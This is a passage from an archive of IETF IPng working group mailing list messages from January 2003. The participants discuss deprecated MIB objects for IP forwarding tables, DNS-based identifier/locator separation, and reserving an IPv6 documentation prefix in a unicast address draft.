	for <heard@shell4.bayarea.net>; Fri, 31 Jan 2003 12:13:01 -0800
	(envelope-from mrm@riverstonenet.com)
X-Received: from kumquat.pobox.com (kumquat.pobox.com [64.119.218.68])
	by postman.bayarea.net (8.9.3/8.9.3) with ESMTP id MAA99811
	for <heard@bayarea.net>; Fri, 31 Jan 2003 12:13:01 -0800 (PST)
	(envelope-from mrm@riverstonenet.com)
X-Received: from mordor.riverstonenet.com (unknown [64.95.122.60])
	by kumquat.pobox.com (Postfix) with SMTP id A381A3E63D
	for <heard@pobox.com>; Fri, 31 Jan 2003 15:13:00 -0500 (EST)
X-Received: (qmail 11611 invoked by uid 10041); 31 Jan 2003 20:12:59 -0000
Date: Fri, 31 Jan 2003 12:12:59 -0800
From: Mike MacFaden <mrm@riverstonenet.com>
To: "C. M. Heard" <heard@pobox.com>
Cc: mibs@ops.ietf.org
Subject: Re: IPv6 w.g. Last Call on "IP Forwarding Table MIB" (1/2)
Message-ID: <20030131121259.M10726@riverstonenet.com>
Mail-Followup-To: "C. M. Heard" <heard@pobox.com>, mibs@ops.ietf.org
References: <200301311841.KAA21493@windsor.research.att.com> <Pine.LNX.4.10.10301311056210.15446-100000@shell4.bayarea.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.10.10301311056210.15446-100000@shell4.bayarea.net>; from heard@pobox.com on Fri, Jan 31, 2003 at 11:15:10AM -0800
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

On Fri, Jan 31, 2003 at 11:15:10AM -0800, C. M. Heard wrote:
>-- and IN the interest of least disruption I'd
>advocate removal of inetCidrRouteDiscards and un-deprecation of
>ipRoutingDiscards [note the spelling :-( ].  

I agree with the suggestion to un-deprecate ipRoutingDiscards. It is very
disruptive. I ran into the same problem with not including  
ifOutNUcastPkts and ifInNUcastPkts as well in a new product
seven years *after* the thesee objects were deprecated.

As I stated previously on the ipv6 list, objects found in 
IP-MIB(1213/2011) are not going away any time soon and as a vendor 
I will be forced to provide both mib modules for some time in the future. 
Hence I appreciate an effort to introduce minimal changes in this area.

>However, if the WG consensus is that this constitutes a semantic 
>change from past practice (owing to combined 2011+2465 deployment) and wants
>inetCidrRouteDiscards to remain, then I request that (a) some text
>be put into 2096 update explaining why it is there and (b) that the
>DESCRIPTION of ipRoutingDiscards be clarified in 2011-update to
>specify that it counts only discarded routes with UPv4 destination
>addresses (that is not really clear from reading 2011-update).

As for pulling the route table in bulk via snmp, I would have thought 
there might be some incremental/non-disruptive changes made using a proven 
approach for accessing enormously sized tables. 

The authors of RFC 2816 thought alot about this. On page 41 it reads:

 -- The hostTimeTable has two important uses.  The first is the
 -- fast download of this potentially large table.  Because the
 -- index of this table runs from 1 to the size of the table,
 -- inclusive, its values are predictable.  This allows very
 -- efficient packing of variables into SNMP PDU's and allows
 -- a table transfer to have multiple packets outstanding.
 -- These benefits increase transfer rates tremendously.

I suspect the table counter for route table was *removed* is due my
suggestion "macfadden-08" found here: 
   http://www.icir.org/fenner/mibs/v6/issues
and to subsequent reasoning presented against this suggestion 
which occured on the ipv6 list explaining why such counters
are generally not useful or possibly difficult to implement 
if one has a subagent implementation. 

Regards,
Mike MacFaden

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 31 12:59:33 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VKxWQb026218;
	Fri, 31 Jan 2003 12:59:32 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0VKxW2S026217;
	Fri, 31 Jan 2003 12:59:32 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VKxSQb026210
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 12:59:28 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0VKxaVK018283
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 12:59:36 -0800 (PST)
Received: from tndh.net (evrtwa1-ar8-4-65-019-240.evrtwa1.dsl-verizon.net [4.65.19.240])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA25689
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 12:59:30 -0800 (PST)
Received: from eagleswings (127.0.0.1)
	by library with [XMail 1.10 (Win32/Ix86) ESMTP Server]
	id <S1E5A5> for <ipng@sunroof.eng.sun.com> from <alh-ietf@tndh.net>;
	Fri, 31 Jan 2003 12:59:28 -0800
Reply-To: <alh-ietf@tndh.net>
From: "Tony Hain" <alh-ietf@tndh.net>
To: "'David Conrad'" <david.conrad@nominum.com>,
   "'Brian E Carpenter'" <brian@hursley.ibm.com>
Cc: <ipng@sunroof.eng.sun.com>
Subject: RE: Enforcing unreachability of site local addresses
Date: Fri, 31 Jan 2003 12:59:27 -0800
Message-ID: <01d201c2c96b$a4cc47d0$b99b46ab@eagleswings>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4510
In-Reply-To: <9963C6AE-354D-11D7-BA7F-000393DB42B2@nominum.com>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Importance: Normal
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id h0VKxTQb026211
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

David Conrad wrote:
> On Wednesday, January 29, 2003, at 02:33  AM, Brian E Carpenter wrote:
> > If we achieve stable locators, this problem largely goes away, but 
> > stable names in themselves are insufficient IMHO.
> 
> The problem isn't the DNS, but the concept of 'stable 
> locators'.  Given 
> the need to aggregate, you simply can't have stability in locators if 
> network topology changes.  Since locators need to change when 
> topology 
> changes, any solution you come up with will need to deal with 
> propagation delay and security while at the same time dealing with 
> scalability and performance.  I would argue that the DNS can be 
> contorted to deal with these requirements (although whether or not 
> you'd want to is another question).

In the abstract I agree with David that the name system already handles
separating the identifier from the locator in a scalable way. What the
current DNS implementation is lacking are scalable security, and the
appropriate simplicity to push it to the consumer edge. While I think
this is an area where solutions are possible, it is not clear that
contorting the existing arcane DNS into a scalable, simple tool is the
most expedient approach.

Suspend disbelief for a moment, and consider a name resolution service
where the consumer edge widget was responsible for both tracking
topology changes, and updating a branch of the name tree to keep it
aligned. Said widget would need a secure mechanism to graft itself to
the name tree after an address change, but otherwise might look like a
typical DNS server. Nodes served by this widget would have a locally
scalable mechanism for secure registration (probably a shared secret).
In the global space, caching times for various points in the tree would
most likely get shorter as they approach the edge. A consumer widget
possibly being susceptible to frequent changes might need to react on
the order of a minute. Preventing this from hammering the graft point
would require longer branches. Fortunately the current DNS has the
concept of structured graft points, so the social change would be
limited to getting over the idea that everything is grafted directly to
a gtld. 

Any approach that separates the identifier from the locator will need a
secure mechanism to assert a binding. That assertion will need to have a
short lifetime to deal with topology changes, and scaling the
mapping/verification service will be a challenge. Given that as a
starting point, there is no obvious reason that using name strings as
the identifier is more difficult than any other approach. The current
difficulty is rooted in the concept of a deployed distributed database
that requires a high priest to chant the magic incantation before use.
Rather than fight with the DNS gods over changes to DNS, hasn't the
multi-homing effort spiraled down to the point of having the routing
gods define a new name service to be run in series? 

If we did have a reasonably responsive dynamic name service, wouldn't
people naturally use it for the cases where external access to a node
might be susceptible to change? At the same time wouldn't the internal
use cases where stability is paramount, look for site local? The whole
argument about limiting use of SL is based on the lack of a stable
identifier that has a real-time binding to the locator. The two work
arounds to prevent churning DNS are stable locators (PI), or locator
translators (nat). Are we wasting a lot of time and energy trying to
solve the problem in routing, when the real solution lies in a complete
overhaul of the DNS?

Tony




--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 31 13:10:17 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VLAHQb026291;
	Fri, 31 Jan 2003 13:10:17 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0VLAGuw026289;
	Fri, 31 Jan 2003 13:10:16 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VLADQb026282
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 13:10:13 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0VLALVK021372
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 13:10:21 -0800 (PST)
Received: from shell4.bayarea.net (shell4.bayarea.net [209.128.82.1])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id OAA06464
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 14:10:15 -0700 (MST)
Received: from localhost (heard@localhost)
	by shell4.bayarea.net (8.9.3/8.9.3) with ESMTP id NAA29103;
	Fri, 31 Jan 2003 13:10:14 -0800
	(envelope-from heard@pobox.com)
X-Authentication-Warning: shell4.bayarea.net: heard owned process doing -bs
Date: Fri, 31 Jan 2003 13:10:13 -0800 (PST)
From: "C. M. Heard" <heard@pobox.com>
X-Sender: heard@shell4.bayarea.net
To: ipng@sunroof.eng.sun.com
Subject: Re: IPv6 w.g. Last Call on "IP Forwarding Table MIB" (1/2)
In-Reply-To: <20030131121259.M10726@riverstonenet.com>
Message-ID: <Pine.LNX.4.10.10301311233430.15190-100000@shell4.bayarea.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

[ followups to ipng@sunroof.eng.sun.com please ]

On Fri, 31 Jan 2003, Mike MacFaden wrote:
> On Fri, Jan 31, 2003 at 11:15:10AM -0800, C. M. Heard wrote:
> >-- and IN the interest of least disruption I'd
> >advocate removal of inetCidrRouteDiscards and un-deprecation
> >of ipRoutingDiscards [note the spelling :-( ].
> 
> I agree with the suggestion to un-deprecate ipRoutingDiscards.  
> It is very disruptive. I ran into the same problem with not
> including ifOutNUcastPkts and ifInNUcastPkts as well in a new
> product seven years *after* the thesee objects were deprecated.

Yes.

> As I stated previously on the ipv6 list, objects found in
> IP-MIB(1213/2011) are not going away any time soon and as a
> vendor I will be forced to provide both mib modules for some
> time in the future.  Hence I appreciate an effort to introduce
> minimal changes in this area.

Note only that, but in recognition of this reality 2011-update and
kin should probably the core MIB-II IP, UDP, and TCP objects into
_current_ (not deprecated) compliance statements.  (Again in
deference to reality, those should probably _not_ be the existing
compliance statements, but others than permit read-only
implementation.)  I didn't suggest that for 2096-update because my
understanding is that it's not all that widely deployed.  The core
MIB-II IP, UDP, and TCP objects, on the other hand, are nearly
universal.

[ ... ]

> I suspect the table counter for route table was *removed* is due
> my suggestion "macfadden-08" found here:
>    http://www.icir.org/fenner/mibs/v6/issues
> and to subsequent reasoning presented against this suggestion
> which occured on the ipv6 list explaining why such counters are
> generally not useful or possibly difficult to implement if one
> has a subagent implementation.

I have long understood that the AgentX folks dislike summary objects
objects such as ifNumber [RFC1213][RFC2863] that count the number
of rows in a table where different rows may be in different
subagents. If the inetCidrRouteTable is likely to be implemented
in that way, then one can understand the objection to
inetCidrRouteNumber.  Remember, though, that ipCidrRouteNumber
[RFC2096] and ipForwardNumber [RFC1354] already exist, and
ipCidrRouteNumber is deprecated, not obsoleted, in 2096-update.  If
the consensus is that inetCidrRouteNumber and kin really are not
useful and are too much of a burden to implement, then I suggest
that the status of ipCidrRouteNumber be changed to obsolete, and its
DESCRIPTION clause be updated accordingly (this DESCRIPTION still
refers to inetCidrRouteNumber, even though it was removed, so it
needs fixing anyway if inetCidrRouteNumber is not reinstated).
Having some explanatory text in the narrative part of the document
to explain that decision would also be good thing.

//cmh

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 31 13:55:26 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VLtPQb026716;
	Fri, 31 Jan 2003 13:55:26 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0VLtPJp026715;
	Fri, 31 Jan 2003 13:55:25 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VLtLQb026708
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 13:55:22 -0800 (PST)
Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0VLtUVK005339
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 13:55:30 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA14756;
	Fri, 31 Jan 2003 14:55:24 -0700 (MST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id h0VLtMQ28451;
	Fri, 31 Jan 2003 23:55:22 +0200
Date: Fri, 31 Jan 2003 23:55:22 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: Alain Durand <Alain.Durand@Sun.COM>
cc: ipng@sunroof.eng.sun.com
Subject: Re: I-D ACTION:draft-ietf-ipv6-unicast-aggr-v2-00.txt
In-Reply-To: <3E3ABFFC.9080302@sun.com>
Message-ID: <Pine.LNX.4.44.0301312353010.28407-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

On Fri, 31 Jan 2003, Alain Durand wrote:
> >3.0 IANA Considerations
> >
> >   The following prefix is reserved for use in documentation and MUST
> >   NOT be assigned to any operational IPv6 nodes:
> >
> >      2000:0001::/32
> >
> >==> I do not understand why this reservation has been made; I see zero 
> >technical reason for it -- and it would prevent the use of the full 
> >2000::/16 for something else.
> >
>
> I disagree. 

Hopefully disagree only on some issues I raised.

> Having the reserved prefix is a good think and
> will hopefully prevent what happen when Sun folks started
> documenting examples using our address space.

I totally agree with you..!

> Having this prefix defined in a separated document was attempted
> about 2 years ago (remember Marc Blanchet's document? He was
> the first one to point out the need for this) and did not go anywhere.

Yes, I remember -- and locally use them.  I wonder what got out of that; 
in any case, allocation out of 3ffe::/16 is an idea that would never fly 
today.

> As most people will use addresses within 2000::/3, it makes sense
> to reserve the documentation prefix from that space 

Totally agree here.

> and this
> documents seems to me the perfect place to do so.

No, this document is meant to move the old obsolete RFC into historic.  
This is not the right place to add features, IMO.

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 31 15:46:21 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VNkKQb027579;
	Fri, 31 Jan 2003 15:46:20 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0VNkJvB027578;
	Fri, 31 Jan 2003 15:46:19 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VNkGQb027571
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 15:46:16 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0VNkOVK012237
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 15:46:24 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id QAA11302
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 16:46:15 -0700 (MST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id PAA13932;
	Fri, 31 Jan 2003 15:46:13 -0800 (PST)
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id h0VNkCV09404;
	Fri, 31 Jan 2003 15:46:12 -0800
X-mProtect: <200301312346> Nokia Silicon Valley Messaging Protection
Received: from UNKNOWN (205.226.9.154, claiming to be "spruce.iprg.nokia.com")
	by darkstar.iprg.nokia.com smtpd6ZHwk6; Fri, 31 Jan 2003 15:46:09 PST
Message-Id: <4.3.2.7.2.20030131152153.0298a988@mailhost.iprg.nokia.com>
X-Sender: hinden@mailhost.iprg.nokia.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Fri, 31 Jan 2003 15:46:00 -0800
To: Pekka Savola <pekkas@netcore.fi>
From: Bob Hinden <hinden@iprg.nokia.com>
Subject: Re: I-D ACTION:draft-ietf-ipv6-unicast-aggr-v2-00.txt
Cc: ipng@sunroof.eng.sun.com
In-Reply-To: <Pine.LNX.4.44.0301311932100.26936-100000@netcore.fi>
References: <200301311252.HAA05123@ietf.org>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Pekka,

>draft-ietf-ipv6-unicast-aggr-v2-00.txt
>
>==> how did the first draft suddently jump to a w.g. document?  I don't
>recall this question being raised, unless it was years ago (or I've missed
>something).  Not that I disagree with (most of) the contents, but some
>parts at least seem to be questionable.

It's been in the works for a while and is in the current and proposed 
charter.  The current charter has:

  - Revise IPv6 Aggregatable Unicast Addresses [RFC 2374], removing the
    policy aspects that are considered RIR issues.

Issuing this draft now was a follow up to the IPv6 Address Architecture 
being approved as a Draft Standard.

>    This document defines the unicast address format for the 2000::/3
>    (001 binary) prefix.  The address format defined in this document is
>    consistent with RFC1883 "Internet Protocol, Version 6 (IPv6)
>    Specification"
>
>==> s/1883/2460/

Thanks.

>    The specific format of global unicast address under the 2000::/3
>    prefix is:
>
>       | 3 |     n bits         | 61-n bits |       64 bits              |
>       +---+--------------------+-----------+----------------------------+
>       |001|  routing prefix    | subnet ID |       interface ID         |
>       +---+--------------------+-----------+----------------------------+
>
>==> I guess this is another part which some folks will just ignore .. but
>no matter.
>
>3.0 IANA Considerations
>
>    The following prefix is reserved for use in documentation and MUST
>    NOT be assigned to any operational IPv6 nodes:
>
>       2000:0001::/32
>
>==> I do not understand why this reservation has been made; I see zero
>technical reason for it -- and it would prevent the use of the full
>2000::/16 for something else.

See other responses.  There has been a request for the reservation of some 
IPv6 address space for documentation.

>I'd rather reserve a documentation prefix somewhere else, and in some
>other, _separate_ internet-draft.

It seemed to me like a convenient place to do it as this was defining the 
2000::/3 prefix.  It could be done elsewhere, but hopefully this draft can 
get through the process quickly.

>5.0 References
>
>==> split the references.

Why?  Most are normative or very static.

Thanks,
Bob


--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 31 15:51:37 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VNpbQb027630;
	Fri, 31 Jan 2003 15:51:37 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0VNpaml027629;
	Fri, 31 Jan 2003 15:51:36 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VNpXQb027622
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 15:51:33 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0VNpfVL008965
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 15:51:41 -0800 (PST)
Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id QAA13146
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 16:51:34 -0700 (MST)
Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69])
	by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id PAA14050
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 15:51:33 -0800 (PST)
X-Delivered-For: <ipng@sunroof.eng.sun.com>
Received: (from root@localhost)
	by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id h0VNpWL12194;
	Fri, 31 Jan 2003 15:51:32 -0800
X-mProtect: <200301312351> Nokia Silicon Valley Messaging Protection
Received: from UNKNOWN (205.226.9.154, claiming to be "spruce.iprg.nokia.com")
	by darkstar.iprg.nokia.com smtpdFh7Hex; Fri, 31 Jan 2003 15:51:31 PST
Message-Id: <4.3.2.7.2.20030131154624.0294d780@mailhost.iprg.nokia.com>
X-Sender: hinden@mailhost.iprg.nokia.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Fri, 31 Jan 2003 15:51:21 -0800
To: "Fred L. Templin" <ftemplin@iprg.nokia.com>
From: Bob Hinden <hinden@iprg.nokia.com>
Subject: Re: I-D ACTION:draft-ietf-ipv6-unicast-aggr-v2-00.txt
Cc: ipng@sunroof.eng.sun.com
In-Reply-To: <3E3AD14D.9030304@iprg.nokia.com>
References: <Pine.LNX.4.44.0301311932100.26936-100000@netcore.fi>
 <3E3ABFFC.9080302@sun.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk


>I will agree with Alain that a reserved prefix for documentation is
>good. But, I don't understand why '2000:0001::/32" was chosen instead
>of '2000:0000::/32'. Can someone speak to this?

The tradition that I learned from John Postel of always reserving the 
beginning and end of any address space and is consistent with:

   http://www.iana.org/assignments/ipv6-tla-assignments

It also looks like a real assignment.

Bob

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 31 15:55:12 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VNtBQb027715;
	Fri, 31 Jan 2003 15:55:11 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8/Submit) id h0VNtBbQ027714;
	Fri, 31 Jan 2003 15:55:11 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.8+Sun/8.12.8) with ESMTP id h0VNt7Qb027701
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 15:55:07 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0VNtFVK015012
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 15:55:15 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA12382
	for <ipng@sunroof.eng.sun.com>; Fri, 31 Jan 2003 15:55:09 -0800 (PST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id h0VNswE29095;
	Sat, 1 Feb 2003 01:54:58 +0200
Date: Sat, 1 Feb 2003 01:54:58 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: Bob Hinden <hinden@iprg.nokia.com>
cc: ipng@sunroof.eng.sun.com
Subject: Re: I-D ACTION:draft-ietf-ipv6-unicast-aggr-v2-00.txt
In-Reply-To: <4.3.2.7.2.20030131152153.0298a988@mailhost.iprg.nokia.com>
Message-ID: <Pine.LNX.4.44.0302010147470.29064-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

On Fri, 31 Jan 2003, Bob Hinden wrote:
> >draft-ietf-ipv6-unicast-aggr-v2-00.txt
> >
> >==> how did the first draft suddently jump to a w.g. document?  I don't
> >recall this question being raised, unless it was years ago (or I've missed
> >something).  Not that I disagree with (most of) the contents, but some
> >parts at least seem to be questionable.
> 
> It's been in the works for a while and is in the current and proposed 
> charter.  The current charter has:
> 
>   - Revise IPv6 Aggregatable Unicast Addresses [RFC 2374], removing the
>     policy aspects that are considered RIR issues.
> 
> Issuing this draft now was a follow up to the IPv6 Address Architecture 
> being approved as a Draft Standard.

I thought the process pretty much always is a personal submission first, 
but fine by me :-).

>>    This document defines the unicast address format for the 2000::/3
>>    (001 binary) prefix.  The address format defined in this document is
>>    consistent with RFC1883 "Internet Protocol, Version 6 (IPv6)
>>    Specification"
>>
>>==> s/1883/2460/
>
> Thanks.

Oh, btw, in the references too.

> >3.0 IANA Considerations
> >
> >    The following prefix is reserved for use in documentation and MUST
> >    NOT be assigned to any operational IPv6 nodes:
> >
> >       2000:0001::/32
> >
> >==> I do not understand why this reservation has been made; I see zero
> >technical reason for it -- and it would prevent the use of the full
> >2000::/16 for something else.
> 
> See other responses.  There has been a request for the reservation of some 
> IPv6 address space for documentation.

Sure.
 
> >I'd rather reserve a documentation prefix somewhere else, and in some
> >other, _separate_ internet-draft.
> 
> It seemed to me like a convenient place to do it as this was defining the 
> 2000::/3 prefix.  It could be done elsewhere, but hopefully this draft can 
> get through the process quickly.

Well, if one believes this can be done quickly here, no problem.

But I'm not sure it can.

I, for one, am very adamantly against reserving 2000:0001::/32.  That
wastes a complete 2000::/16 (if, for some purposes, a whole /16 or first
parts of it are needed). An extremely bad idea, IMO.  I'd recommend taking
something from 2001, like 2001:0001::/32 or 2001:FFFF::/32.

And this kind of "which one is the right block to reserve" discussions 
could delay the other parts of the draft, which was my main motivation for 
keeping it outside of this one.
 
> >5.0 References
> >
> >==> split the references.
> 
> Why?  Most are normative or very static.

Because otherwise the draft will get bounced back when the AD checks for
ID-nits, and because it's required before it can get to the RFC editor..

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings



--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Fri Jan 31 15:59:06 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
